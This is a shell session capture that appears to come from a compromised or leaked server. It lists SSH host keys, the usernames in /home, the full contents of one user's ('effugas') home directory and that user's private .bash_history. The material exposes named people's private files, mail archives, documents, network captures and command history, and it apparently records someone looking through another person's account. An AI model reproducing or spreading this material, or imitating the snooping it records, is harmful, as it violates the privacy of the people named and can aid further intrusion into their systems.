4166 Q68VtfQ0wjWltPJ2i7EZmp1S75u23dm9snAAAAFQCLkkbU/P0946kdI0ldQd1OvtEdAQAAAIEAhCzM9 4167 zDXdVoAXKYtU4iXy1MeEz/00HcfIpmzLfEN3tgSpycg0FP3/box1SKebDxymUPTw4PQ03PxMH4sQKpy 4168 1rG5uXT01IQAoyvlVOfa9dQTuPzTEeKCPVY9cFF3Ft/uOzMhDedoB+OSomPDBiSqDft34mhhvn3T7bC 4169 GCwb/No8AAACABtgyhSRBJIW+lJmlqCAAGYmdfNExPU64WEJ4nMB5U5Y2tbsZN1ZzMe0RoktjSuvBEn 4170 O9SXZDtaRRLmVJwqo3LU16lx9YUhS6LpsdBTwHADfcO29Ti346vvTTcQrMf9bAG35lWmteUdvx79B2U 4171 dZNccka63bOGHBMykX9kSwL6W0= root@central.int.pmjm.org 4172 pmjm.com ssh-dss 4173 AAAAB3NzaC1kc3MAAACBALGVYHAJYr0DR4QX2YLhARTk0WW8HVnnR1xOIC6JeZbk89CM5F6P8VJKq2a 4174 hMkmGQkIqZtVvdmvjmfhxaTUS8lXtCM5rLO94yz7bgMrWtaoZTXCnEA1aBzhW3YMD/2ByPlJU2lO0Qe 4175 h09HFgIAquSYbCEYFE5lGVP5LTT5W1Y8SlAAAAFQC7x95hEymD5hB3jY+1zD6DfWcX5QAAAIBnqp1PQ 4176 WU0E3SiYzKB6lKqYm9rzh8ogkHcN6mBpW0kODNETt0xW5vXhE5hP83qX9ZF4WpCl6TSdmI72h8hOq48 4177 jhUzqhuoqGepFYXlDUTK4LxzD77YRB2lohP+/eVkLKmzv5IevbOzAJFU98E207u9nIZnnYtEbRYy8oS 4178 khLbrDQAAAIEApkzPne/BmYH9h8pW0YAVxu4uM1j4QjsS0UrytJYPQKmPCgxUoypI/LYFB1yqZ1pzFw 4179 AjBhXUFENQuJ/Lmf8smtyt+ETUrUSsakPtEOuNq5+SHHXsyGNERDm455Su+cMu2+W4+/36Kq53TAYN7 4180 YtggKFrh6DcqEl8rELCK6ytlYc= 4181 old.pmjm.com ssh-dss 4182 AAAAB3NzaC1kc3MAAACBALGVYHAJYr0DR4QX2YLhARTk0WW8HVnnR1xOIC6JeZbk89CM5F6P8VJKq2a 4183 hMkmGQkIqZtVvdmvjmfhxaTUS8lXtCM5rLO94yz7bgMrWtaoZTXCnEA1aBzhW3YMD/2ByPlJU2lO0Qe 4184 h09HFgIAquSYbCEYFE5lGVP5LTT5W1Y8SlAAAAFQC7x95hEymD5hB3jY+1zD6DfWcX5QAAAIBnqp1PQ 4185 WU0E3SiYzKB6lKqYm9rzh8ogkHcN6mBpW0kODNETt0xW5vXhE5hP83qX9ZF4WpCl6TSdmI72h8hOq48 4186 jhUzqhuoqGepFYXlDUTK4LxzD77YRB2lohP+/eVkLKmzv5IevbOzAJFU98E207u9nIZnnYtEbRYy8oS 4187 khLbrDQAAAIEApkzPne/BmYH9h8pW0YAVxu4uM1j4QjsS0UrytJYPQKmPCgxUoypI/LYFB1yqZ1pzFw 4188 AjBhXUFENQuJ/Lmf8smtyt+ETUrUSsakPtEOuNq5+SHHXsyGNERDm455Su+cMu2+W4+/36Kq53TAYN7 4189 YtggKFrh6DcqEl8rELCK6ytlYc= 4190 ssh.cisco.com ssh-dss 4191 AAAAB3NzaC1kc3MAAACBAKi4nala0B/u0CNGzXwfMmBUFmYkQStxKnVWEmArrLhPA2dxcIFLJd9NjbY 4192 e6Hzv6p6EwuCCFxqzz3wqzeagKXJonkUTOSwgRNlGuGiLQzEP5q4+mchsCQhv5tQqPqC+nwfSoRBLar 4193 fJYBew5Q5c7/J1E6g+/1YV+D6qjzB2L1HxAAAAFQC2W5o6EsnZGRoQC5ysAy1rgMc8qQAAAIB71JCO4 4194 4AenIwidqFEMi034zxtIdwZYy40yDL83+qjkw9LsbPTpOVy+Pt6j7nr2OP9/mKLHWMNxnC03qmCc6e6 4195 4/ELeXMVMpSvr15neOchVNHmFk6OZwJQ2KS1iaWUU8E7h/a/+CgARMRDdznltZlGLdQhB8AxiP+M4ah 4196 sPJqXvwAAAIATBntMqCjj8p6lNZKAiOImumrdk3FvTcEckaOw8pZxbk4V4CKxwTbjhVczuseSS2GjVR 4197 C4ZgU0jStWdTrKE/5KEEwhcw8b7X3DxO2ooJVrLRopgEKCg4uMxdbo7yJZSH/gqhRcpXQtwNOAxzCnx 4198 n8YsTN3HnBx2tVAyiR4hDQP6Q== 4199 [216.127.35.68]:443 ssh-dss 4200 AAAAB3NzaC1kc3MAAACBALVkZMTCjqiXbe7p07TTYRGEI9aLy2LuX2I1l0CTPqHIkY31k0zJVW85EKl 4201 Dv4EXx8WISzb+u2/QTVplyU6nevvxjdWbCr7STwu/waP5RnVdGw0JgonJd8JIup6OM705/GFeXliOl4 4202 fOEkrjdvXPtMSVJ4MAotPCguLNxQZrY7WZAAAAFQDMPIQKwOkpUw/EoyciAjs/M5asfwAAAIBbBuLNO 4203 1fYr3FQvpnSPBSHgfK5X+RoLNMGA0vpohjW/gGH79c4h0qq/pzGhYulZJotJKwyKM5p+jGfTz4bkU4o 4204 OqXGpDnM+0R5LsyUFCTppMu8pgMGLiU+71dgTgOaCF4E3FA2crnaTvTEbb2g4ijuiNrmUrIbkZRv8RC 4205 03ruWDgAAAIEAiadT7a0nFG9Vmf7EDvAWi+/69HcIYUfqZcCt1XipKiwSFBvfvg2c7AUlwEB+kF5iCo 4206 j7AygIKFiH4wczj372k47oJV2UBvtk8SIpZusQURWKOmadwPr3Vno3fh8tP41gj2X94fIHhth3JNv+8 4207 /jRBk5sTalZaNyjg4Im7aqmsIA= 4208 professorx.dreamhost.com,67.205.61.213 ssh-rsa 4209 AAAAB3NzaC1yc2EAAAABIwAAAQEA6P9Hlwdahh250jGZYKg2snRq2j2lFJVdKSHyxqbJiVy9VX9gTkN 4210 3K2MD48qyrYLYOyGs3vTttyUk+cK++JMzURWsrP4piby7LpeOT+3Iq8CQNj4gXZdcH9w15Vuk2qS11a 4211 t6IsQPVHpKD9HGg9//EFUccI/4w06k4XXLm/IxOGUwj6I2AeWmEOL3aDi+fe07TTosSdLUD6INtR0cy 4212 Ksg0zC7Da24ixoShT8Oy3x2MpR7CY3PQ1pUVmvPkr79VeA+4qV9F1JM09WdboAMZgWQZ+XrbtuBlGsy 4213 hpUHSCQOya+kOJ+bYryS+U7A+6nmTW3C9FX4FgFqTF89UHOC7V0zZQ== 4214 %cd /home 4215 %ls -la 4216 total 144 4217 drwxr-xr-x 33 root wheel 1024 Jul 13 14:24 . 4218 drwxr-xr-x 24 root wheel 512 Jul 23 2008 .. 4219 drwxr-xr-x 3 admin admin 512 May 28 2004 admin 4220 drwxr-xr-x 8 andyw andy 1024 Sep 4 2006 andyw 4221 drwxr-xr-x 2 bmondala bmondala 512 Mar 20 2008 bmondala 4222 drwxr-xr-x 2 bre bre 512 Aug 19 2007 bre 4223 drwxr-xr-x 7 1016 ciagon 1024 Aug 21 2006 ciagon 4224 drwxr-xr-x 3 crystal crystal 512 Mar 21 09:33 crystal 4225 drwxr-xr-x 3 d d 512 May 10 12:11 d 4226 drwxr-xr-x 2 dakami dakami 512 May 10 11:57 dakami 4227 drwxr-xr-x 2 dante dante 512 May 21 2005 dante 4228 drwxr-xr-x 3 dire dire 512 May 11 09:39 dire 4229 drwxr-xr-x 2 dmktest dmktest 512 Apr 25 2006 dmktest 4230 drwx------ 68 effugas wheel 5120 Jul 17 11:43 effugas 4231 drwxr-xr-x 42 1009 effugas_nr 2560 Jun 29 12:26 effugas_nr 4232 drwxr-xr-x 6 ginray ginray 1024 Feb 11 2006 ginray 4233 drwxr-xr-x 4 gir wheel 512 Sep 1 2008 gir 4234 drwxr-xr-x 7 hampshir hampshir 512 Sep 14 2007 hampshir 4235 drwxr-xr-x 6 ice wheel 1024 Jul 17 09:18 ice 4236 drwxr-xr-x 3 jay jay 512 Aug 16 2006 jay 4237 drwxr-xr-x 3 jaymi jaymi 512 Nov 12 2008 jaymi 4238 drwxr-xr-x 6 mooseaccess jb 512 Apr 6 2004 jb 4239 drwxr-xr-x 7 jcrossley jcrossley 1024 Mar 2 09:30 jcrossley 4240 drwxr-xr-x 2 jeff jeff 512 May 12 2006 jeff 4241 drwxr-xr-x 3 jenicole jenicole 512 Jan 30 2008 jenicole 4242 drwxr-x--x 14 jmondala jmondala 2048 Jul 20 00:01 jmondala 4243 drwx------ 15 karin karin 1536 Apr 21 2008 karin 4244 drwxr-xr-x 2 mooseaccess wheel 512 Oct 7 2008 mooseaccess 4245 drwxr-xr-x 4 pig pig 512 May 9 14:59 pig 4246 drwxr-x--- 7 psm pmjm 1536 Jul 13 15:34 psm 4247 drwxr-xr-x 7 tom tom 1024 May 17 2006 tom 4248 drwxr-xr-x 3 tomstdenis tomstdenis 512 Feb 20 2006 tomstdenis 4249 drwxr-xr-x 4 ventrilo ventrilo 512 Nov 14 2008 ventrilo 4250 %cd effugas 4251 %ls -la 4252 total 7437192 4253 -rw-r--r-- 1 effugas wheel 53 Mar 10 2005 +COMMENT 4254 -rw-r--r-- 1 effugas wheel 490 Mar 10 2005 +CONTENTS 4255 -rw-r--r-- 1 effugas wheel 307 Mar 10 2005 +DESC 4256 -r--r--r-- 1 effugas wheel 13080 Mar 10 2005 +MTREE_DIRS 4257 -rw-r--r-- 1 effugas wheel 1299747 Jul 16 2005 - 4258 -rw-r--r-- 1 effugas wheel 0 Sep 28 2005 -u 4259 drwx------ 68 effugas wheel 5120 Jul 17 11:43 . 4260 drwxr-xr-x 33 root wheel 1024 Jul 13 14:24 .. 4261 -rw------- 1 effugas wheel 434 Jan 13 2008 .Xauthority 4262 -rw-r--r-- 1 effugas wheel 0 Oct 24 2006 .addressbook 4263 -rw------- 1 effugas wheel 2285 Oct 24 2006 .addressbook.lu 4264 -rw------- 1 effugas wheel 12839 Jul 18 06:18 .bash_history 4265 drwxr-xr-x 7 effugas wheel 512 Jun 13 2008 .bittorrent 4266 drwxr-xr-x 6 effugas wheel 512 Feb 6 14:05 .cpan 4267 drwx------ 2 effugas wheel 512 Apr 23 2005 .elinks 4268 drwx------ 2 effugas jb 512 Sep 24 2005 .elm 4269 -rw-r--r-- 1 effugas wheel 63520 Sep 29 2005 .fonts.cache-1 4270 drwx------ 4 effugas wheel 512 Feb 15 2006 .gaim 4271 drwx------ 2 effugas wheel 512 Mar 19 00:41 .gnupg 4272 -rw------- 1 effugas wheel 302298 Dec 30 2005 .grepmail-cache 4273 -rw------- 1 effugas wheel 67 Jul 6 2008 .lesshst 4274 -rw-r--r-- 1 effugas wheel 133 Jun 10 2006 .mailboxlist 4275 -rw------- 1 effugas wheel 7465 Jun 3 06:23 .mysql_history 4276 -rw------- 1 effugas wheel 221 Sep 10 2004 .nessusrc 4277 -rw-r--r-- 1 effugas wheel 28672 Sep 2 2004 .nomde_ex.pl.swo 4278 -rw-r--r-- 1 effugas wheel 16384 Sep 7 2004 .nomde_ex.pl.swp 4279 drwx------ 8 effugas wheel 512 Dec 5 2005 .openwebmail 4280 -rw------- 1 effugas wheel 1592 Apr 20 19:28 .pine-interrupted-mail 4281 -rw------- 1 effugas wheel 17165 Jul 17 11:38 .pinerc 4282 -rw-r--r-- 1 effugas wheel 816 Jan 8 2006 .procmailrc 4283 -rw------- 1 effugas wheel 1024 Jan 7 2009 .rnd 4284 -rw-r--r-- 1 effugas wheel 12 Apr 4 2005 .slirprc 4285 drwx------ 2 effugas wheel 512 Jul 12 14:02 .spamassassin 4286 drwxr-xr-x 2 effugas wheel 512 Nov 9 2005 .ssh 4287 drwxr-xr-x 3 effugas wheel 512 Jun 23 2007 .subversion 4288 -rw------- 1 effugas jb 256 Dec 5 2005 .vacation.msg 4289 drwxr-xr-x 2 effugas wheel 512 Sep 29 2005 .vnc 4290 -rw-r--r-- 1 effugas wheel 5714 Sep 5 2007 110eclipse.jpg 4291 -rw-r--r-- 1 effugas wheel 5714 Sep 5 2007 110eclipse.jpg.1 4292 -rw-r--r-- 1 effugas wheel 4170702 Dec 17 2006 17-Day tripper.mp3 4293 -rw-r--r-- 1 effugas wheel 18163 Oct 10 2006 399299 4294 drwx------ 11 effugas wheel 2048 Jan 14 2007 4 4295 -rw------- 1 effugas wheel 1244999 Jul 25 2005 Admin Noise 4296 -rwx------ 1 effugas wheel 19253 May 20 2007 Alpha Man Conversation & Persuasion.torrent 4297 drwxr-xr-x 7 effugas wheel 512 Jun 14 2008 BitTorrent Downloads 4298 drwxr-xr-x 11 root wheel 1024 Jan 13 2007 BitTorrent-4.20.9 4299 -rw------- 1 effugas wheel 9215553 Aug 12 2006 CCCP 4300 -rw-r--r-- 1 effugas wheel 136192 Aug 12 2007 Cingular_Customized APN info and price sheet.doc 4301 -rw------- 1 effugas wheel 11072756 Sep 15 2006 Crypto 4302 -rwx------ 1 effugas wheel 18865 Nov 4 2006 David X Seduction and Relationships Seminar.torrent 4303 -rw-r--r-- 1 effugas wheel 64512 Jan 6 2006 DiogeNeS.doc 4304 -rw-r--r-- 1 effugas wheel 27648 May 10 13:01 Doxpara-NDT term sheet.doc 4305 -rw------- 1 effugas wheel 425406 Jul 25 2005 Drafts 4306 -rw-r--r-- 1 effugas wheel 27648 Aug 12 2007 Encryption sw_SecurStar info.doc 4307 lrwxr-xr-x 1 effugas wheel 29 Jan 8 2006 Funsec -> /usr/home/effugas/mail/Funsec 4308 -rw------- 1 effugas mail 10369669 Sep 25 2005 Gap 4309 -rw------- 1 effugas wheel 496 Sep 30 2005 INBOX.Drafts 4310 -rw------- 1 effugas wheel 324536 Nov 18 2005 INBOX.Sent 4311 -rw------- 1 effugas wheel 496 Sep 30 2005 INBOX.Trash 4312 -rwx------ 1 effugas wheel 20767 Oct 24 2006 Juggler - Charisma Arts Bootcamp.avi.torrent 4313 -rw-r--r-- 1 effugas wheel 403486571 Jul 13 2006 Junk 4314 -rw-r--r-- 1 effugas wheel 379402660 Nov 17 2005 Junk_toobig 4315 -rw------- 1 effugas wheel 280301055 Aug 21 2006 Known 4316 drwxr-xr-x 2 effugas wheel 512 Sep 26 2005 MT-3.2-en_US 4317 -rwx------ 1 effugas wheel 1377924 Sep 26 2005 MT-3.2.tar.gz 4318 drwxrwxrwx 2 effugas jb 512 Sep 24 2005 Mail 4319 -rw-r--r-- 1 effugas wheel 1438 Oct 4 2006 Makefile 4320 -rw------- 1 effugas wheel 229972323 Sep 21 2006 Older Mail 4321 -rw------- 1 effugas wheel 181797360 Jul 25 2005 Orig_Older 4322 -rw------- 1 effugas wheel 492 Jul 25 2005 Outbox 4323 -rw-r--r-- 1 effugas wheel 200578 Aug 12 2007 PhoneCrypt_docs_pc.pdf 4324 -rwx------ 1 effugas wheel 28554 Nov 18 2006 PickUp 101 - He Said, She Said - Volume 1.torrent 4325 drwxr-xr-x 2 effugas wheel 512 Oct 2 2005 PyFlickrUploadr 4326 -rw-r--r-- 1 effugas wheel 7164 Oct 2 2005 PyFlickrUploadr.tar.gz 4327 lrwxr-xr-x 1 effugas wheel 31 Jan 8 2006 RouteSec -> /usr/home/effugas/mail/RouteSec 4328 -rw-r--r-- 1 effugas wheel 1352443 Mar 1 2008 Secret of Mana.zip 4329 -rw------- 1 effugas wheel 144765683 Jul 26 2006 Sent 4330 -rw------- 1 effugas wheel 68609225 Jul 25 2005 Sent Items 4331 -rw-r--r-- 1 effugas wheel 0 Sep 25 2005 Spam 4332 -rw-r--r-- 1 effugas wheel 55823056 Aug 10 2006 Trash 4333 drwxr-xr-x 2 effugas wheel 512 Oct 28 2005 ack 4334 drwxr-xr-x 2 effugas wheel 1024 Aug 8 2007 airhook-2 4335 -rw-r--r-- 1 effugas wheel 28282 Apr 14 2003 airhook-2.tar.gz 4336 drwxr-xr-x 2 effugas wheel 512 Sep 8 2008 ap 4337 drwxr-xr-x 2 effugas wheel 1536 Feb 21 2008 arse 4338 -rw-r--r-- 1 effugas wheel 614 Jan 19 2005 authorized_keys 4339 -rw-r--r-- 1 effugas wheel 8048 Jan 23 2006 av2.txt 4340 -rw-r--r-- 1 effugas wheel 2641 Oct 6 2006 back.pem 4341 drwxr-xr-x 2 effugas wheel 1024 Jul 25 2006 bin 4342 -rw-r--r-- 1 effugas wheel 1801 Feb 23 2008 boing_seq.txt 4343 -rwx------ 1 effugas wheel 214576 Jul 25 2006 bplex_0_dev-src.gz 4344 -rw-r--r-- 1 effugas wheel 1662 Sep 8 2008 browserRedirect?url=itms%3A%2F%2Fax.phobos.apple.com.edgesuite.net%2FWebObjects%2FMZStore.woa%2Fwa%2FviewGenre%3Fid%3D35 4345 drwxr-xr-x 2 effugas wheel 512 Jun 11 2006 ca 4346 drwxr-xr-x 2 effugas wheel 512 Sep 24 2006 cl 4347 drwxr-xr-x 60 effugas wheel 4096 Jul 6 2008 content 4348 drwxrwxrwx 2 effugas wheel 512 Jul 8 2008 db 4349 -rw-r--r-- 1 effugas wheel 963360 Sep 26 2005 db.dump 4350 -rw------- 1 effugas wheel 2416 Apr 27 13:07 dead.letter 4351 -rw-r--r-- 1 effugas wheel 718 Feb 22 2008 del.txt 4352 -rw-r--r-- 1 effugas wheel 4196 Feb 23 2008 del_seq.txt 4353 -rw-r--r-- 1 effugas wheel 4188 Feb 23 2008 del_ts.txt 4354 -rw-r--r-- 1 effugas wheel 10980 Sep 19 2006 dell_ssl2.txt 4355 -rw------- 1 effugas wheel 815104 Feb 11 2008 dig.core 4356 drwxr-xr-x 2 effugas wheel 1024 Jul 30 2006 dissoc-0.1 4357 -rw-r--r-- 1 effugas wheel 51652 Jul 2 2001 dissoc-0.1.tar.gz 4358 -rw-r--r-- 1 effugas wheel 193 Oct 4 2006 distinfo 4359 -rwx------ 1 effugas wheel 7211132 Mar 15 2008 dk2_cli.pcap 4360 drwxr-xr-x 33 effugas wheel 3584 Jul 13 11:47 dl 4361 -rw-r--r-- 1 effugas wheel 4338 Mar 30 2005 dns.cap 4362 -rw-r--r-- 1 effugas wheel 4338 Apr 13 15:23 dns.pcap 4363 -rwx------ 1 effugas wheel 3793316 Jun 15 2006 domain_login_esp.cap 4364 drwxr-xr-x 2 effugas wheel 512 Dec 23 2008 dprint 4365 -rw-r--r-- 1 effugas wheel 615112704 Nov 5 2006 en_winxp_pro_with_sp2.iso 4366 -rw-r--r-- 1 effugas wheel 1967 Feb 23 2008 fark_seq.txt 4367 -rw-r--r-- 1 effugas wheel 1984 Feb 23 2008 fark_ts.txt 4368 drwxr-xr-x 2 effugas wheel 512 Oct 4 2006 files 4369 -rw------- 1 effugas jb 209744 Sep 25 2005 filtered 4370 -rw------- 1 effugas wheel 37106364 Sep 26 2005 fire_inbox 4371 -rw-r--r-- 1 effugas wheel 7385211 Oct 28 2005 foo.pgp 4372 -rw-r--r-- 1 effugas wheel 10485784 Jun 19 2006 foo.xml 4373 -rw-r--r-- 1 effugas wheel 12920 Feb 22 2008 g_seq.txt 4374 -rw-r--r-- 1 effugas wheel 12848 Feb 22 2008 g_ts.txt 4375 -rw------- 1 effugas jb 2909341 Jan 12 2006 gah 4376 drwxr-xr-x 9 effugas wheel 1536 Aug 11 2005 gaim-1.5.0 4377 -rw-r--r-- 1 effugas wheel 6123237 Aug 11 2005 gaim-1.5.0.tar.bz2 4378 -rw------- 1 effugas wheel 7999488 Sep 29 2005 gaim.core 4379 -rw-r--r-- 1 effugas wheel 1588 Jan 1 2006 ghet_ip.c 4380 drwxrwxr-x 2 effugas wheel 512 Sep 30 2005 ghetto 4381 drwxr-xr-x 2 effugas wheel 512 Sep 25 2005 gml 4382 -rwxr-xr-x 1 effugas wheel 3395 Jun 17 2004 gml.py 4383 drwxr-xr-x 2 effugas wheel 512 Aug 23 2007 haxedit 4384 -rwx------ 1 effugas wheel 40960 Aug 27 2007 haxedit.tgz 4385 -rwxr-xr-x 1 effugas wheel 5312 Apr 6 14:20 heh 4386 -rw-r--r-- 1 effugas wheel 168 Apr 6 14:20 heh.cpp 4387 drwxr-xr-x 2 effugas wheel 512 Apr 26 00:32 hmm 4388 -rw-r--r-- 1 effugas wheel 1636602 Oct 28 2005 hmm.txt 4389 -rw-r--r-- 1 effugas wheel 2200 Jan 21 2008 hoho.txt 4390 -rw-r--r-- 1 effugas wheel 15748938 Nov 24 2007 huh_shai.gz 4391 drwxr-xr-x 5 effugas wheel 512 Jan 24 2006 imgSeek-0.8.6 4392 -rw-r--r-- 1 effugas wheel 396056 Nov 14 2006 imgSeek-0.8.6.tar.bz2 4393 -rw-r--r-- 1 effugas wheel 618624 Aug 12 2007 imsi-capture_phonecrypt_secured.wav 4394 -rw-r--r-- 1 effugas wheel 74086 Jun 10 2006 index.php 4395 -rw-r--r-- 1 effugas wheel 36115 Oct 5 2006 index.txt 4396 -rwxr-xr-x 1 effugas wheel 2739 Nov 7 2005 info_bot.pl 4397 drwxr-xr-x 2 effugas wheel 133120 Dec 5 2006 is 4398 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif 4399 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif.1 4400 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif.2 4401 -rw-r--r-- 1 effugas wheel 43 May 15 2007 isf.gif.3 4402 -rw-r--r-- 1 effugas wheel 764567 Nov 26 2007 jm.zone 4403 drwxr-xr-x 2 effugas wheel 512 Oct 8 2007 johnny 4404 -rw-r--r-- 1 effugas wheel 0 Sep 8 2008 known_hosts 4405 drwxr-xr-x 2 effugas wheel 512 Mar 8 2005 lib 4406 drwxr-xr-x 7 effugas wheel 1024 Aug 29 2008 libspf2-1.2.5 4407 -rw-r--r-- 1 effugas wheel 517945 Feb 23 2005 libspf2-1.2.5.tar.gz 4408 -rwx------ 1 effugas wheel 3548321 Jan 21 2008 local3.log 4409 -rw-r--r-- 1 effugas wheel 166676 Feb 22 2008 log.bin 4410 -rw-r--r-- 1 effugas wheel 22722620 Dec 8 2005 log.txt 4411 -rw-r--r-- 1 effugas wheel 10763 Mar 29 18:48 login 4412 drwxr-xr-x 3 effugas wheel 2048 Dec 5 2006 m 4413 -rw-r--r-- 1 effugas wheel 182 Feb 28 2006 mae.txt 4414 drwxr-xr-x 3 effugas wheel 512 Jul 17 11:39 mail 4415 drwxrwxrwx 2 effugas jb 512 Dec 31 2005 mail_oh 4416 -rw-r--r-- 1 effugas wheel 2765 Jun 1 2008 mangle.c 4417 -rw------- 1 effugas jb 7385213 Oct 28 2005 mater.pgp 4418 -rw-r--r-- 1 effugas wheel 66 Oct 28 2005 mater.pgp.2 4419 -rwxr-xr-x 1 effugas wheel 4961 Apr 14 17:31 mem 4420 -rw-r--r-- 1 effugas wheel 231 Apr 14 17:31 mem.c 4421 -rw-r--r-- 1 effugas wheel 1002 Jul 6 2008 migrate.pl 4422 drwxr-xr-x 2 effugas wheel 512 Jan 5 2008 mov 4423 drwxr-xr-x 7 effugas wheel 512 Sep 29 2005 msn 4424 drwxr-xr-x 2 effugas wheel 512 Sep 29 2005 msn-bot 4425 -rw-r--r-- 1 effugas wheel 16973 Jul 16 2003 msn-bot.zip 4426 drwxr-xr-x 2 effugas wheel 512 Jan 13 2006 music 4427 drwxr-xr-x 4 effugas wheel 4163072 Feb 2 2007 mypix 4428 -rw-r--r-- 1 effugas wheel 7096 Feb 22 2008 mys.txt 4429 -rw-r--r-- 1 effugas wheel 11102 Feb 23 2008 mys_seq.txt 4430 -rw-r--r-- 1 effugas wheel 1032 Feb 23 2008 mys_ts.txt 4431 drwxr-xr-x 7 effugas wheel 1024 Feb 13 2007 netcat-0.7.1 4432 -rwx------ 1 effugas wheel 398872 Feb 13 2007 netcat-0.7.1.tar.gz 4433 drwxr-xr-x 2 effugas wheel 512 Jun 5 2007 new 4434 -rw-r--r-- 1 effugas wheel 0 Jun 11 2006 newcert.pem 4435 -rw-r--r-- 1 effugas wheel 1180 Jun 11 2006 newreq.cer 4436 -rw-r--r-- 1 effugas wheel 1180 Jun 11 2006 newreq.pem 4437 -rwxr-xr-x 1 effugas wheel 10371 Nov 15 2006 nomde.pl 4438 drwxr-xr-x 5 effugas wheel 512 Sep 17 2004 ophcrack_1_0a 4439 -rw-r--r-- 1 effugas wheel 5114862 Sep 17 2004 ophcrack_1_0a.zip 4440 -rw-r--r-- 1 effugas wheel 139283 Jan 10 2006 out.txt 4441 -rw------- 1 effugas jb 138418 Sep 28 2005 penn 4442 -rw------- 1 root wheel 999878656 Nov 25 2008 perl5.8.8.core 4443 -rw------- 1 effugas wheel 91009024 Jan 26 17:29 pine.core 4444 drwxr-xr-x 3 effugas wheel 58368 Feb 2 2007 pix 4445 drwxr-xr-x 5 effugas wheel 512 Jan 26 2007 pix2 4446 -rw-r--r-- 1 effugas wheel 554 Oct 4 2006 pkg-descr 4447 -rw-r--r-- 1 effugas wheel 853 Oct 4 2006 pkg-plist 4448 drwxr-xr-x 3 effugas wheel 512 Jun 5 2007 s4 4449 -rw-r--r-- 1 effugas wheel 378156 Mar 14 2006 scapy.py 4450 drwxr-xr-x 8 effugas wheel 2560 Oct 8 2006 screen-4.0.2 4451 -rw-r--r-- 1 effugas wheel 840519 Jan 27 2004 screen-4.0.2.tar.gz 4452 drwxr-xr-x 3 effugas wheel 512 Sep 27 2005 sdba 4453 -rwxr-xr-x 1 effugas wheel 486449 Jul 12 2006 sequitur_simple.exe 4454 drwxr-xr-x 2 effugas wheel 512 Feb 6 14:10 shmoo 4455 -rw-r--r-- 1 effugas wheel 387800 Feb 13 2007 socat-1.5.0.0.tar.gz 4456 -rw-r--r-- 1 effugas wheel 0 Dec 30 2005 spam_first 4457 drwxr-xr-x 2 effugas wheel 2560 Jul 25 2006 src 4458 -rw-r--r-- 1 effugas wheel 144 Sep 27 2005 subcheck.pl 4459 -rw-rw---- 1 effugas mail 148812841 Dec 30 2005 superchunk_1 4460 -rw-rw---- 1 effugas mail 7489304 Dec 31 2005 superchunk_2 4461 drwxr-xr-x 2 effugas wheel 512 Apr 20 19:32 swap 4462 -rw-r--r-- 1 effugas wheel 117 Jul 6 2008 tcheck.pl 4463 -rw-r--r-- 1 effugas wheel 1025 Feb 22 2008 test.txt 4464 drwxr-xr-x 2 effugas wheel 512 Apr 3 15:48 tmp 4465 -rw-r--r-- 1 root wheel 221202 Nov 25 2008 tmp1 4466 -rw-r--r-- 1 root wheel 225530 Nov 25 2008 tmp2 4467 drwxr-xr-x 2 effugas wheel 512 Nov 11 2008 tor-audit 4468 drwxr-xr-x 5 effugas wheel 1536 Jun 23 2007 trunk 4469 -rwxr-xr-x 1 effugas wheel 7232 Feb 13 2007 udpfwd 4470 -rw-r--r-- 1 effugas wheel 3431 Feb 13 2007 udpfwd.c 4471 drwxr-xr-x 20 effugas wheel 1536 Jun 29 10:16 unbound-1.3.0 4472 -rw-r--r-- 1 effugas wheel 4059848 Jun 11 04:00 unbound-latest.tar.gz 4473 -rw-r--r-- 1 effugas wheel 87 May 17 2007 url.txt 4474 drwxr-xr-x 2 effugas wheel 512 Sep 20 2005 walker-3.8 4475 -rw-r--r-- 1 effugas wheel 18478 Sep 20 2005 walker-3.8.tar.gz 4476 -rwx------ 1 effugas wheel 24256 Jun 18 2006 webdav.txt 4477 -rwx------ 1 effugas wheel 21710 Jun 18 2006 webdav.xml 4478 drwxr-xr-x 2 effugas wheel 512 Nov 7 2005 wtf 4479 -rw-r--r-- 1 effugas wheel 92 May 30 2007 wtf.pl 4480 drwxr-xr-x 2 effugas wheel 1024 Jul 28 2006 xray 4481 -rw-r--r-- 1 effugas wheel 12840 Feb 23 2008 yahoo_seq.txt 4482 -rw-r--r-- 1 effugas wheel 13002 Feb 23 2008 yahoo_ts.txt 4483 %cat .bash_history 4484 ctorrent -h 4485 ctorrent Heroes_-_Season_3_\(Volume_Three_\[3\]___Villains_-_Complete\)_-_S03.4583677.TPB.torrent 4486 cd .. 4487 cd grab2 4488 ls 4489 ctorrent 1483862 4490 ls 4491 wget http://www.mininova.org/get/2072701 4492 ctorrent 2072 4493 ctorrent 2072701 4494 rm -rf Family\ Guy\ Season\ 4/ 4495 wget http://www.mininova.org/get/2087297 4496 ctorrent 2087297 4497 pine 4498 pine 4499 pine 4500 pine 4501 pine 4502 pine 4503 pine 4504 pine 4505 pine 4506 pine 4507 pine 4508 pine 4509 pine 4510 cd 4511 ls -l ND* 4512 ls -l *doc 4513 cp Doxpara-NDT\ term\ sheet.doc /export/www/colo.doxpara.com/ 4514 pine 4515 pine 4516 pine 4517 cd heh 4518 ls 4519 cd hmm 4520 ls 4521 cd .. 4522 find . | grep -i txt 4523 ls 4524 find . | grep -i heh 4525 cd swap/ 4526 ls 4527 more heh.txt 4528 more heh.txt 4529 cd 4530 cd heh 4531 ls 4532 find . | grep -i heh 4533 cd swap 4534 cat heh.txt 4535 cd /export/www/colo.doxpara.com/ 4536 wget http://www.state.gov/documents/organization/79958.pdf 4537 screen -D -R 4538 screen -D -R 4539 ~# 4540 ~# 4541 screen -D -R 4542 screen -D -R 4543 screen D -R 4544 screen -D -R 4545 screen -D -R 4546 screen -D -R 4547 screen -D -R 4548 screen -D -R 4549 pine 4550 kjhkjhdkjshfksjdf 4551 pine 4552 sdfsdf 4553 whois doxdns1.com 4554 links http://www.google.com/url?sa=t&source=web&ct=res&cd=1&url=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FTriple_DES&ei=PiwmSqv8JqHYswPIm-SbBg&rct=j&q=3des&usg=AFQjCNGi3G2cND5EvYton6SvtELgpvoDag 4555 links 'http://www.google.com/url?sa=t&source=web&ct=res&cd=1&url=http%3A%2F%2Fen.wikipedia.org%2Fwiki%2FTriple_DES&ei=PiwmSqv8JqHYswPIm-SbBg&rct=j&q=3des&usg=AFQjCNGi3G2cND5EvYton6SvtELgpvoDag' 4556 lynx 